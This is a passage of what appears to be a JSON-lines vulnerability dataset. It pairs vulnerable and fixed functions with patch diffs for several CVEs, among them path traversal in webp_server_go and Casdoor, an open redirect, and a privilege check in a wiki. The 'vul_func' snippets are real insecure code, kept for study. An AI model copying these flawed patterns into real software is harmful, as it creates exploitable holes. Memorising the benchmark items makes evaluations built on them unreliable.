HttpResponseRedirect(reverse('CalendarinhoApp:Dashboard'))\n            else:\n                messages.error(request, \"Invalid login details given\")\n                form = Login_Form()\n                return render(request, 'CalendarinhoApp/login.html', {'form': form})\n\n    # if a GET (or any other method) we'll create a blank form\n    else:\n        form = Login_Form()\n        return render(request, 'CalendarinhoApp/login.html', {'form': form})"}], "vul_patch": "--- a/CalendarinhoApp/authentication.py\n+++ b/CalendarinhoApp/authentication.py\n@@ -10,8 +10,9 @@\n             user = user = authenticate(username=username, password=password)\n             if user and user.is_active:\n                 login(request, user)\n-                if 'next' in request.POST:\n-                    return HttpResponseRedirect(request.POST.get('next'))\n+                next_url = request.POST.get('next', '')\n+                if next_url and next_url.startswith('/'):\n+                    return HttpResponseRedirect(next_url)\n                 else:\n                     return HttpResponseRedirect(reverse('CalendarinhoApp:Dashboard'))\n             else:\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2021-46104", "cve_description": "An issue was discovered in webp_server_go 0.4.0. There is a directory traversal vulnerability that can read arbitrary file information on the server.", "cwe_info": {"CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/webp-sh/webp_server_go", "patch_url": ["https://github.com/webp-sh/webp_server_go/commit/74b0382ab6d233e9929b519c2b365709a03eeb5f"], "programing_language": "Go", "vul_func": [{"id": "vul_go_207_1", "commit": "49569b3", "file_path": "router.go", "start_line": 16, "end_line": 90, "snippet": "func convert(c *fiber.Ctx) error {\n\t//basic vars\n\tvar reqURI, _ = url.QueryUnescape(c.Path()) // /mypic/123.jpg\n\tvar rawImageAbs string\n\tif proxyMode {\n\t\trawImageAbs = config.ImgPath + reqURI\n\t} else {\n\t\trawImageAbs = path.Join(config.ImgPath, reqURI) // /home/xxx/mypic/123.jpg\n\t}\n\tvar imgFilename = path.Base(reqURI) // pure filename, 123.jpg\n\tlog.Debugf(\"Incoming connection from %s %s\", c.IP(), imgFilename)\n\n\tgoodFormat := guessSupportedFormat(&c.Request().Header)\n\n\t// old browser only, send the original image or fetch from remote and send.\n\tif len(goodFormat) == 1 {\n\t\tc.Set(\"ETag\", genEtag(rawImageAbs))\n\t\tif proxyMode {\n\t\t\tlocalRemoteTmpPath := remoteRaw + reqURI\n\t\t\t_ = fetchRemoteImage(localRemoteTmpPath, rawImageAbs)\n\t\t\treturn c.SendFile(localRemoteTmpPath)\n\t\t} else {\n\t\t\treturn c.SendFile(rawImageAbs)\n\t\t}\n\t}\n\n\tif !checkAllowedType(imgFilename) {\n\t\tmsg := \"File extension not allowed! \" + imgFilename\n\t\tlog.Warn(msg)\n\t\tif imageExists(rawImageAbs) {\n\t\t\tc.Set(\"ETag\", genEtag(rawImageAbs))\n\t\t\treturn c.SendFile(rawImageAbs)\n\t\t} else {\n\t\t\tc.Status(http.StatusBadRequest)\n\t\t\t_ = c.Send([]byte(msg))\n\t\t\treturn nil\n\t\t}\n\t}\n\n\tif proxyMode {\n\t\treturn proxyHandler(c, reqURI)\n\t}\n\n\t// Check the original image for existence,\n\tif !imageExists(rawImageAbs) {\n\t\tmsg := \"image not found\"\n\t\t_ = c.Send([]byte(msg))\n\t\tlog.Warn(msg)\n\t\t_ = c.SendStatus(404)\n\t\treturn errors.New(msg)\n\t}\n\n\t// generate with timestamp to make sure files are update-to-date\n\tavifAbs, webpAbs := genOptimizedAbs(rawImageAbs, config.ExhaustPath, imgFilename, reqURI)\n\tconvertFilter(rawImageAbs, avifAbs, webpAbs, nil)\n\n\tvar availableFiles = []string{rawImageAbs}\n\tfor _, v := range goodFormat {\n\t\tif \"avif\" == v {\n\t\t\tavailableFiles = append(availableFiles, avifAbs)\n\t\t}\n\t\tif \"webp\" == v {\n\t\t\tavailableFiles = append(availableFiles, webpAbs)\n\t\t}\n\t}\n\n\tvar finalFile = findSmallestFiles(availableFiles)\n\tetag := genEtag(finalFile)\n\tc.Set(\"ETag\", etag)\n\tc.Set(\"X-Compression-Rate\", getCompressionRate(rawImageAbs, finalFile))\n\tbuf, _ := ioutil.ReadFile(finalFile)\n\tc.Set(\"content-type\", getFileContentType(buf))\n\treturn c.SendFile(finalFile)\n\n}"}], "fix_func": [{"id": "fix_go_207_1", "commit": "74b0382ab6d233e9929b519c2b365709a03eeb5f", "file_path": "router.go", "start_line": 16, "end_line": 94, "snippet": "func convert(c *fiber.Ctx) error {\n\t//basic vars\n\tvar reqURI, _ = url.QueryUnescape(c.Path()) // /mypic/123.jpg\n\n\t// delete ../ in reqURI to mitigate directory traversal\n\treqURI = path.Clean(reqURI)\n\n\tvar rawImageAbs string\n\tif proxyMode {\n\t\trawImageAbs = config.ImgPath + reqURI\n\t} else {\n\t\trawImageAbs = path.Join(config.ImgPath, reqURI) // /home/xxx/mypic/123.jpg\n\t}\n\tvar imgFilename = path.Base(reqURI) // pure filename, 123.jpg\n\tlog.Debugf(\"Incoming connection from %s %s\", c.IP(), imgFilename)\n\n\tgoodFormat := guessSupportedFormat(&c.Request().Header)\n\n\t// old browser only, send the original image or fetch from remote and send.\n\tif len(goodFormat) == 1 {\n\t\tc.Set(\"ETag\", genEtag(rawImageAbs))\n\t\tif proxyMode {\n\t\t\tlocalRemoteTmpPath := remoteRaw + reqURI\n\t\t\t_ = fetchRemoteImage(localRemoteTmpPath, rawImageAbs)\n\t\t\treturn c.SendFile(localRemoteTmpPath)\n\t\t} else {\n\t\t\treturn c.SendFile(rawImageAbs)\n\t\t}\n\t}\n\n\tif !checkAllowedType(imgFilename) {\n\t\tmsg := \"File extension not allowed! \" + imgFilename\n\t\tlog.Warn(msg)\n\t\tif imageExists(rawImageAbs) {\n\t\t\tc.Set(\"ETag\", genEtag(rawImageAbs))\n\t\t\treturn c.SendFile(rawImageAbs)\n\t\t} else {\n\t\t\tc.Status(http.StatusBadRequest)\n\t\t\t_ = c.Send([]byte(msg))\n\t\t\treturn nil\n\t\t}\n\t}\n\n\tif proxyMode {\n\t\treturn proxyHandler(c, reqURI)\n\t}\n\n\t// Check the original image for existence,\n\tif !imageExists(rawImageAbs) {\n\t\tmsg := \"image not found\"\n\t\t_ = c.Send([]byte(msg))\n\t\tlog.Warn(msg)\n\t\t_ = c.SendStatus(404)\n\t\treturn errors.New(msg)\n\t}\n\n\t// generate with timestamp to make sure files are update-to-date\n\tavifAbs, webpAbs := genOptimizedAbs(rawImageAbs, config.ExhaustPath, imgFilename, reqURI)\n\tconvertFilter(rawImageAbs, avifAbs, webpAbs, nil)\n\n\tvar availableFiles = []string{rawImageAbs}\n\tfor _, v := range goodFormat {\n\t\tif \"avif\" == v {\n\t\t\tavailableFiles = append(availableFiles, avifAbs)\n\t\t}\n\t\tif \"webp\" == v {\n\t\t\tavailableFiles = append(availableFiles, webpAbs)\n\t\t}\n\t}\n\n\tvar finalFile = findSmallestFiles(availableFiles)\n\tetag := genEtag(finalFile)\n\tc.Set(\"ETag\", etag)\n\tc.Set(\"X-Compression-Rate\", getCompressionRate(rawImageAbs, finalFile))\n\tbuf, _ := ioutil.ReadFile(finalFile)\n\tc.Set(\"content-type\", getFileContentType(buf))\n\treturn c.SendFile(finalFile)\n\n}"}], "vul_patch": "--- a/router.go\n+++ b/router.go\n@@ -1,6 +1,10 @@\n func convert(c *fiber.Ctx) error {\n \t//basic vars\n \tvar reqURI, _ = url.QueryUnescape(c.Path()) // /mypic/123.jpg\n+\n+\t// delete ../ in reqURI to mitigate directory traversal\n+\treqURI = path.Clean(reqURI)\n+\n \tvar rawImageAbs string\n \tif proxyMode {\n \t\trawImageAbs = config.ImgPath + reqURI\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-38638", "cve_description": "Casdoor v1.97.3 was discovered to contain an arbitrary file write vulnerability via the fullFilePath parameter at /api/upload-resource.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/casdoor/casdoor", "patch_url": ["https://github.com/casdoor/casdoor/commit/411d76798d73446fff4a0244f0475f1ea8bf42dc"], "programing_language": "Go", "vul_func": [{"id": "vul_go_196_1", "commit": "7b0b426", "file_path": "object/storage.go", "start_line": 105, "end_line": 122, "snippet": "func UploadFileSafe(provider *Provider, fullFilePath string, fileBuffer *bytes.Buffer) (string, string, error) {\n\tvar fileUrl string\n\tvar objectKey string\n\tvar err error\n\ttimes := 0\n\tfor {\n\t\tfileUrl, objectKey, err = uploadFile(provider, fullFilePath, fileBuffer)\n\t\tif err != nil {\n\t\t\ttimes += 1\n\t\t\tif times >= 5 {\n\t\t\t\treturn \"\", \"\", err\n\t\t\t}\n\t\t} else {\n\t\t\tbreak\n\t\t}\n\t}\n\treturn fileUrl, objectKey, nil\n}"}], "fix_func": [{"id": "fix_go_196_1", "commit": "411d76798d73446fff4a0244f0475f1ea8bf42dc", "file_path": "object/storage.go", "start_line": 105, "end_line": 127, "snippet": "func UploadFileSafe(provider *Provider, fullFilePath string, fileBuffer *bytes.Buffer) (string, string, error) {\n\t// check fullFilePath is there security issue\n\tif strings.Contains(fullFilePath, \"..\") {\n\t\treturn \"\", \"\", fmt.Errorf(\"the fullFilePath: %s is not allowed\", fullFilePath)\n\t}\n\n\tvar fileUrl string\n\tvar objectKey string\n\tvar err error\n\ttimes := 0\n\tfor {\n\t\tfileUrl, objectKey, err = uploadFile(provider, fullFilePath, fileBuffer)\n\t\tif err != nil {\n\t\t\ttimes += 1\n\t\t\tif times >= 5 {\n\t\t\t\treturn \"\", \"\", err\n\t\t\t}\n\t\t} else {\n\t\t\tbreak\n\t\t}\n\t}\n\treturn fileUrl, objectKey, nil\n}"}], "vul_patch": "--- a/object/storage.go\n+++ b/object/storage.go\n@@ -1,4 +1,9 @@\n func UploadFileSafe(provider *Provider, fullFilePath string, fileBuffer *bytes.Buffer) (string, string, error) {\n+\t// check fullFilePath is there security issue\n+\tif strings.Contains(fullFilePath, \"..\") {\n+\t\treturn \"\", \"\", fmt.Errorf(\"the fullFilePath: %s is not allowed\", fullFilePath)\n+\t}\n+\n \tvar fileUrl string\n \tvar objectKey string\n \tvar err error\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-24278", "cve_description": "The package convert-svg-core before 0.6.4 are vulnerable to Directory Traversal due to improper sanitization of SVG tags. Exploiting this vulnerability is possible by using a specially crafted SVG file.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/neocotic/convert-svg", "patch_url": ["https://github.com/neocotic/convert-svg/commit/2bbc498c5029238637206661dbac9e44d37d17c5"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_110_1", "commit": "faef02a", "file_path": "packages/convert-svg-core/src/Converter.js", "start_line": 260, "end_line": 302, "snippet": "  async [_convert](input, options) {\n    input = Buffer.isBuffer(input) ? input.toString('utf8') : input;\n\n    const { provider } = this;\n    const svg = cheerio.default.html(this[_sanitize](cheerio.load(input, null, false)('svg'), options));\n\n    if (!svg) {\n      throw new Error('SVG element not found in input. Check the SVG input');\n    }\n\n    const html = `<!DOCTYPE html>\n<html>\n<head>\n<base href=\"${options.baseUrl}\">\n<meta charset=\"utf-8\">\n<style>\n* { margin: 0; padding: 0; }\nhtml { background-color: ${provider.getBackgroundColor(options)}; }\n</style>\n</head>\n<body>${svg}</body>\n</html>`;\n\n    const page = await this[_getPage](html);\n\n    await this[_setDimensions](page, options);\n\n    const dimensions = await this[_getDimensions](page, options);\n\n    if (options.scale !== 1) {\n      dimensions.height *= options.scale;\n      dimensions.width *= options.scale;\n\n      await this[_setDimensions](page, dimensions);\n    }\n\n    await page.setViewport(dimensions);\n\n    return await page.screenshot(Object.assign({\n      type: provider.getType(),\n      clip: Object.assign({ x: 0, y: 0 }, dimensions)\n    }, provider.getScreenshotOptions(options)));\n  }"}], "fix_func": [{"id": "fix_js_110_1", "commit": "2bbc498", "file_path": "packages/convert-svg-core/src/Converter.js", "start_line": 260, "end_line": 302, "snippet": "  async [_convert](input, options) {\n    input = Buffer.isBuffer(input) ? input.toString('utf8') : input;\n\n    const { provider } = this;\n    const svg = cheerio.default.html(this[_sanitize](cheerio.load(input, null, false)('svg:first'), options));\n\n    if (!svg) {\n      throw new Error('SVG element not found in input. Check the SVG input');\n    }\n\n    const html = `<!DOCTYPE html>\n<html>\n<head>\n<base href=\"${options.baseUrl}\">\n<meta charset=\"utf-8\">\n<style>\n* { margin: 0; padding: 0; }\nhtml { background-color: ${provider.getBackgroundColor(options)}; }\n</style>\n</head>\n<body>${svg}</body>\n</html>`;\n\n    const page = await this[_getPage](html);\n\n    await this[_setDimensions](page, options);\n\n    const dimensions = await this[_getDimensions](page, options);\n\n    if (options.scale !== 1) {\n      dimensions.height *= options.scale;\n      dimensions.width *= options.scale;\n\n      await this[_setDimensions](page, dimensions);\n    }\n\n    await page.setViewport(dimensions);\n\n    return await page.screenshot(Object.assign({\n      type: provider.getType(),\n      clip: Object.assign({ x: 0, y: 0 }, dimensions)\n    }, provider.getScreenshotOptions(options)));\n  }"}], "vul_patch": "--- a/packages/convert-svg-core/src/Converter.js\n+++ b/packages/convert-svg-core/src/Converter.js\n@@ -2,7 +2,7 @@\n     input = Buffer.isBuffer(input) ? input.toString('utf8') : input;\n \n     const { provider } = this;\n-    const svg = cheerio.default.html(this[_sanitize](cheerio.load(input, null, false)('svg'), options));\n+    const svg = cheerio.default.html(this[_sanitize](cheerio.load(input, null, false)('svg:first'), options));\n \n     if (!svg) {\n       throw new Error('SVG element not found in input. Check the SVG input');\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-1681", "cve_description": "Authentication Bypass Using an Alternate Path or Channel in GitHub repository requarks/wiki prior to 2.5.281. User can get root user permissions", "cwe_info": {"CWE-287": {"name": "Improper Authentication", "description": "When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct."}}, "repo": "https://github.com/requarks/wiki", "patch_url": ["https://github.com/requarks/wiki/commit/78d02dc8e5d103d248e5d7632bf7a6facdf4264c"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_275_1", "commit": "a06201aaf5a531a090ec792a9119c2df14d6e50d", "file_path": "server/graph/resolvers/group.js", "start_line": 152, "end_line": 196, "snippet": "    async update (obj, args, { req }) {\n      // Check for unsafe regex page rules\n      if (_.some(args.pageRules, pr => {\n        return pr.match === 'REGEX' && !safeRegex(pr.path)\n      })) {\n        throw new gql.GraphQLError('Some Page Rules contains unsafe or exponential time regex.')\n      }\n\n      // Set default redirect on login value\n      if (_.isEmpty(args.redirectOnLogin)) {\n        args.redirectOnLogin = '/'\n      }\n\n      // Check assigned permissions for write:groups\n      if (\n        WIKI.auth.checkExclusiveAccess(req.user, ['write:groups'], ['manage:groups', 'manage:system']) &&\n        args.permissions.some(p => {\n          const resType = _.last(p.split(':'))\n          return ['users', 'groups', 'navigation', 'theme', 'api', 'system'].includes(resType)\n        })\n      ) {\n        throw new gql.GraphQLError('You are not authorized to manage this group or assign these permissions.')\n      }\n\n      // Update group\n      await WIKI.models.groups.query().patch({\n        name: args.name,\n        redirectOnLogin: args.redirectOnLogin,\n        permissions: JSON.stringify(args.permissions),\n        pageRules: JSON.stringify(args.pageRules)\n      }).where('id', args.id)\n\n      // Revoke tokens for this group\n      WIKI.auth.revokeUserTokens({ id: args.id, kind: 'g' })\n      WIKI.events.outbound.emit('addAuthRevoke', { id: args.id, kind: 'g' })\n\n      // Reload group permissions\n      await WIKI.auth.reloadGroups()\n      WIKI.events.outbound.emit('reloadGroups')\n\n      return {\n        responseResult: graphHelper.generateSuccess('Group has been updated.')\n      }\n    }\n  },"}], "fix_func": [{"id": "fix_js_275_1", "commit": "78d02dc8e5d103d248e5d7632bf7a6facdf4264c", "file_path": "server/graph/resolvers/group.js", "start_line": 152, "end_line": 204, "snippet": "    async update (obj, args, { req }) {\n      // Check for unsafe regex page rules\n      if (_.some(args.pageRules, pr => {\n        return pr.match === 'REGEX' && !safeRegex(pr.path)\n      })) {\n        throw new gql.GraphQLError('Some Page Rules contains unsafe or exponential time regex.')\n      }\n\n      // Set default redirect on login value\n      if (_.isEmpty(args.redirectOnLogin)) {\n        args.redirectOnLogin = '/'\n      }\n\n      // Check assigned permissions for write:groups\n      if (\n        WIKI.auth.checkExclusiveAccess(req.user, ['write:groups'], ['manage:groups', 'manage:system']) &&\n        args.permissions.some(p => {\n          const resType = _.last(p.split(':'))\n          return ['users', 'groups', 'navigation', 'theme', 'api', 'system'].includes(resType)\n        })\n      ) {\n        throw new gql.GraphQLError('You are not authorized to manage this group or assign these permissions.')\n      }\n\n      // Check assigned permissions for manage:groups\n      if (\n        WIKI.auth.checkExclusiveAccess(req.user, ['manage:groups'], ['manage:system']) &&\n        args.permissions.some(p => _.last(p.split(':')) === 'system')\n      ) {\n        throw new gql.GraphQLError('You are not authorized to manage this group or assign the manage:system permissions.')\n      }\n\n      // Update group\n      await WIKI.models.groups.query().patch({\n        name: args.name,\n        redirectOnLogin: args.redirectOnLogin,\n        permissions: JSON.stringify(args.permissions),\n        pageRules: JSON.stringify(args.pageRules)\n      }).where('id', args.id)\n\n      // Revoke tokens for this group\n      WIKI.auth.revokeUserTokens({ id: args.id, kind: 'g' })\n      WIKI.events.outbound.emit('addAuthRevoke', { id: args.id, kind: 'g' })\n\n      // Reload group permissions\n      await WIKI.auth.reloadGroups()\n      WIKI.events.outbound.emit('reloadGroups')\n\n      return {\n        responseResult: graphHelper.generateSuccess('Group has been updated.')\n      }\n    }\n  },"}], "vul_patch": "--- a/server/graph/resolvers/group.js\n+++ b/server/graph/resolvers/group.js\n@@ -22,6 +22,14 @@\n         throw new gql.GraphQLError('You are not authorized to manage this group or assign these permissions.')\n       }\n \n+      // Check assigned permissions for manage:groups\n+      if (\n+        WIKI.auth.checkExclusiveAccess(req.user, ['manage:groups'], ['manage:system']) &&\n+        args.permissions.some(p => _.last(p.split(':')) === 'system')\n+      ) {\n+        throw new gql.GraphQLError('You are not authorized to manage this group or assign the manage:system permissions.')\n+      }\n+\n       // Update group\n       await WIKI.models.groups.query().patch({\n         name: args.name,\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-47182", "cve_description": "Dozzle is a realtime log viewer for docker containers. Before version 8.5.3, the app uses sha-256 as the hash for passwords, which leaves users susceptible to rainbow table attacks. The app switches to bcrypt, a more appropriate hash for passwords, in version 8.5.3.", "cwe_info": {"CWE-326": {"name": "Inadequate Encryption Strength", "description": "The product stores or transmits sensitive data using an encryption scheme that is theoretically sound, but is not strong enough for the level of protection required."}}, "repo": "https://github.com/amir20/dozzle", "patch_url": ["https://github.com/amir20/dozzle/commit/de79f03aa3dbe5bb1e154a7e8d3dccbd229f3ea3"], "programing_language": "Go", "vul_func": [{"id": "vul_go_298_1", "commit": "3c15ac225c5d85701ecbfdae71aad419cf23101d", "file_path": "internal/auth/users.go", "start_line": 60, "end_line": 76, "snippet": "func GenerateUsers(user User, hashPassword bool) *bytes.Buffer {\n\tbuffer := &bytes.Buffer{}\n\n\tif hashPassword {\n\t\tuser.Password = sha256sum(user.Password)\n\t}\n\n\tusers := UserDatabase{\n\t\tUsers: map[string]*User{\n\t\t\tuser.Username: &user,\n\t\t},\n\t}\n\n\tyaml.NewEncoder(buffer).Encode(users)\n\n\treturn buffer\n}"}, {"id": "vul_go_298_2", "commit": "3c15ac225c5d85701ecbfdae71aad419cf23101d", "file_path": "internal/auth/users.go", "start_line": 78, "end_line": 106, "snippet": "func decodeUsersFromFile(path string) (UserDatabase, error) {\n\tusers := UserDatabase{}\n\tfile, err := os.Open(path)\n\tif err != nil {\n\t\treturn users, err\n\t}\n\tdefer file.Close()\n\n\tif err := yaml.NewDecoder(file).Decode(&users); err != nil {\n\t\treturn users, err\n\t}\n\n\tfor username, user := range users.Users {\n\t\tuser.Username = username\n\t\tif user.Password == \"\" {\n\t\t\tlog.Fatal().Msgf(\"User %s has an empty password\", username)\n\t\t}\n\n\t\tif len(user.Password) != 64 {\n\t\t\tlog.Fatal().Str(\"password\", user.Password).Msgf(\"User %s has an invalid password hash\", username)\n\t\t}\n\n\t\tif user.Name == \"\" {\n\t\t\tuser.Name = username\n\t\t}\n\t}\n\n\treturn users, nil\n}"}, {"id": "vul_go_298_3", "commit": "3c15ac225c5d85701ecbfdae71aad419cf23101d", "file_path": "internal/auth/users.go", "start_line": 142, "end_line": 153, "snippet": "func (u *UserDatabase) FindByPassword(username, password string) *User {\n\tuser := u.Find(username)\n\n\tif user == nil {\n\t\treturn nil\n\t}\n\n\tif user.Password != sha256sum(password) {\n\t\treturn nil\n\t}\n\treturn user\n}"}], "fix_func": [{"id": "fix_go_298_1", "commit": "de79f03aa3dbe5bb1e154a7e8d3dccbd229f3ea3", "file_path": "internal/auth/users.go", "start_line": 61, "end_line": 81, "snippet": "func GenerateUsers(user User, hashPassword bool) *bytes.Buffer {\n\tbuffer := &bytes.Buffer{}\n\n\tif hashPassword {\n\t\thash, err := bcrypt.GenerateFromPassword([]byte(user.Password), 11)\n\t\tif err != nil {\n\t\t\tlog.Fatal().Err(err).Msg(\"Failed to hash password\")\n\t\t}\n\t\tuser.Password = string(hash)\n\t}\n\n\tusers := UserDatabase{\n\t\tUsers: map[string]*User{\n\t\t\tuser.Username: &user,\n\t\t},\n\t}\n\n\tyaml.NewEncoder(buffer).Encode(users)\n\n\treturn buffer\n}"}, {"id": "fix_go_298_2", "commit": "de79f03aa3dbe5bb1e154a7e8d3dccbd229f3ea3", "file_path": "internal/auth/users.go", "start_line": 83, "end_line": 111, "snippet": "func decodeUsersFromFile(path string) (UserDatabase, error) {\n\tusers := UserDatabase{}\n\tfile, err := os.Open(path)\n\tif err != nil {\n\t\treturn users, err\n\t}\n\tdefer file.Close()\n\n\tif err := yaml.NewDecoder(file).Decode(&users); err != nil {\n\t\treturn users, err\n\t}\n\n\tfor username, user := range users.Users {\n\t\tuser.Username = username\n\t\tif user.Password == \"\" {\n\t\t\tlog.Fatal().Msgf(\"User %s has an empty password\", username)\n\t\t}\n\n\t\tif !(len(user.Password) == 64 || len(user.Password) == 60) {\n\t\t\tlog.Fatal().Str(\"password\", user.Password).Str(\"user\", username).Msg(\"Invalid password for user\")\n\t\t}\n\n\t\tif user.Name == \"\" {\n\t\t\tuser.Name = username\n\t\t}\n\t}\n\n\treturn users, nil\n}"}, {"id": "fix_go_298_3", "commit": "de79f03aa3dbe5bb1e154a7e8d3dccbd229f3ea3", "file_path": "internal/auth/users.go", "start_line": 147, "end_line": 159, "snippet": "func (u *UserDatabase) FindByPassword(username, password string) *User {\n\tuser := u.Find(username)\n\n\tif user == nil {\n\t\treturn nil\n\t}\n\n\tif !CompareHashAndPassword(user.Password, password) {\n\t\treturn nil\n\t}\n\n\treturn user\n}"}], "vul_patch": "--- a/internal/auth/users.go\n+++ b/internal/auth/users.go\n@@ -2,7 +2,11 @@\n \tbuffer := &bytes.Buffer{}\n \n \tif hashPassword {\n-\t\tuser.Password = sha256sum(user.Password)\n+\t\thash, err := bcrypt.GenerateFromPassword([]byte(user.Password), 11)\n+\t\tif err != nil {\n+\t\t\tlog.Fatal().Err(err).Msg(\"Failed to hash password\")\n+\t\t}\n+\t\tuser.Password = string(hash)\n \t}\n \n \tusers := UserDatabase{\n\n--- a/internal/auth/users.go\n+++ b/internal/auth/users.go\n@@ -16,8 +16,8 @@\n \t\t\tlog.Fatal().Msgf(\"User %s has an empty password\", username)\n \t\t}\n \n-\t\tif len(user.Password) != 64 {\n-\t\t\tlog.Fatal().Str(\"password\", user.Password).Msgf(\"User %s has an invalid password hash\", username)\n+\t\tif !(len(user.Password) == 64 || len(user.Password) == 60) {\n+\t\t\tlog.Fatal().Str(\"password\", user.Password).Str(\"user\", username).Msg(\"Invalid password for user\")\n \t\t}\n \n \t\tif user.Name == \"\" {\n\n--- a/internal/auth/users.go\n+++ b/internal/auth/users.go\n@@ -5,8 +5,9 @@\n \t\treturn nil\n \t}\n \n-\tif user.Password != sha256sum(password) {\n+\tif !CompareHashAndPassword(user.Password, password) {\n \t\treturn nil\n \t}\n+\n \treturn user\n }\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-41672", "cve_description": "In Apache Airflow, prior to version 2.4.1, deactivating a user wouldn't prevent an already authenticated user from being able to continue using the UI or API.", "cwe_info": {"CWE-285": {"name": "Improper Authorization", "description": "The product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action."}, "CWE-250": {"name": "Execution with Unnecessary Privileges", "description": "The product performs an operation at a privilege level that is higher than the minimum level required, which creates new weaknesses or amplifies the consequences of other weaknesses."}, "CWE-269": {"name": "Improper Privilege Management", "description": "The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor."}}, "repo": "https://github.com/apache/airflow", "patch_url": ["https://github.com/apache/airflow/commit/12bfb571a895a28a58d3189b0fc10cfc1b89e24c"], "programing_language": "Python", "vul_func": [{"id": "vul_py_27_1", "commit": "d81b297", "file_path": "airflow/www/app.py", "start_line": 72, "end_line": 155, "snippet": "def create_app(config=None, testing=False):\n    \"\"\"Create a new instance of Airflow WWW app\"\"\"\n    flask_app = Flask(__name__)\n    flask_app.secret_key = conf.get('webserver', 'SECRET_KEY')\n\n    flask_app.config['PERMANENT_SESSION_LIFETIME'] = timedelta(minutes=settings.get_session_lifetime_config())\n    flask_app.config.from_pyfile(settings.WEBSERVER_CONFIG, silent=True)\n    flask_app.config['APP_NAME'] = conf.get(section=\"webserver\", key=\"instance_name\", fallback=\"Airflow\")\n    flask_app.config['TESTING'] = testing\n    flask_app.config['SQLALCHEMY_DATABASE_URI'] = conf.get('database', 'SQL_ALCHEMY_CONN')\n\n    url = make_url(flask_app.config['SQLALCHEMY_DATABASE_URI'])\n    if url.drivername == 'sqlite' and url.database and not url.database.startswith('/'):\n        raise AirflowConfigException(\n            f'Cannot use relative path: `{conf.get(\"database\", \"SQL_ALCHEMY_CONN\")}` to connect to sqlite. '\n            'Please use absolute path such as `sqlite:////tmp/airflow.db`.'\n        )\n\n    flask_app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False\n\n    flask_app.config['SESSION_COOKIE_HTTPONLY'] = True\n    flask_app.config['SESSION_COOKIE_SECURE'] = conf.getboolean('webserver', 'COOKIE_SECURE')\n\n    cookie_samesite_config = conf.get('webserver', 'COOKIE_SAMESITE')\n    if cookie_samesite_config == \"\":\n        warnings.warn(\n            \"Old deprecated value found for `cookie_samesite` option in `[webserver]` section. \"\n            \"Using `Lax` instead. Change the value to `Lax` in airflow.cfg to remove this warning.\",\n            RemovedInAirflow3Warning,\n        )\n        cookie_samesite_config = \"Lax\"\n    flask_app.config['SESSION_COOKIE_SAMESITE'] = cookie_samesite_config\n\n    if config:\n        flask_app.config.from_mapping(config)\n\n    if 'SQLALCHEMY_ENGINE_OPTIONS' not in flask_app.config:\n        flask_app.config['SQLALCHEMY_ENGINE_OPTIONS'] = settings.prepare_engine_args()\n\n    # Configure the JSON encoder used by `|tojson` filter from Flask\n    flask_app.json_provider_class = AirflowJsonProvider\n    flask_app.json = AirflowJsonProvider(flask_app)\n\n    csrf.init_app(flask_app)\n\n    init_wsgi_middleware(flask_app)\n\n    db = SQLA()\n    db.session = settings.Session\n    db.init_app(flask_app)\n\n    init_dagbag(flask_app)\n\n    init_api_experimental_auth(flask_app)\n\n    init_robots(flask_app)\n\n    cache_config = {'CACHE_TYPE': 'flask_caching.backends.filesystem', 'CACHE_DIR': gettempdir()}\n    Cache(app=flask_app, config=cache_config)\n\n    init_flash_views(flask_app)\n\n    configure_logging()\n    configure_manifest_files(flask_app)\n\n    import_all_models()\n\n    with flask_app.app_context():\n        init_appbuilder(flask_app)\n\n        init_appbuilder_views(flask_app)\n        init_appbuilder_links(flask_app)\n        init_plugins(flask_app)\n        init_connection_form()\n        init_error_handlers(flask_app)\n        init_api_connexion(flask_app)\n        init_api_experimental(flask_app)\n\n        sync_appbuilder_roles(flask_app)\n\n        init_jinja_globals(flask_app)\n        init_xframe_protection(flask_app)\n        init_airflow_session_interface(flask_app)\n    return flask_app"}], "fix_func": [{"id": "fix_py_27_1", "commit": "12bfb57", "file_path": "airflow/www/app.py", "start_line": 76, "end_line": 160, "snippet": "def create_app(config=None, testing=False):\n    \"\"\"Create a new instance of Airflow WWW app\"\"\"\n    flask_app = Flask(__name__)\n    flask_app.secret_key = conf.get('webserver', 'SECRET_KEY')\n\n    flask_app.config['PERMANENT_SESSION_LIFETIME'] = timedelta(minutes=settings.get_session_lifetime_config())\n    flask_app.config.from_pyfile(settings.WEBSERVER_CONFIG, silent=True)\n    flask_app.config['APP_NAME'] = conf.get(section=\"webserver\", key=\"instance_name\", fallback=\"Airflow\")\n    flask_app.config['TESTING'] = testing\n    flask_app.config['SQLALCHEMY_DATABASE_URI'] = conf.get('database', 'SQL_ALCHEMY_CONN')\n\n    url = make_url(flask_app.config['SQLALCHEMY_DATABASE_URI'])\n    if url.drivername == 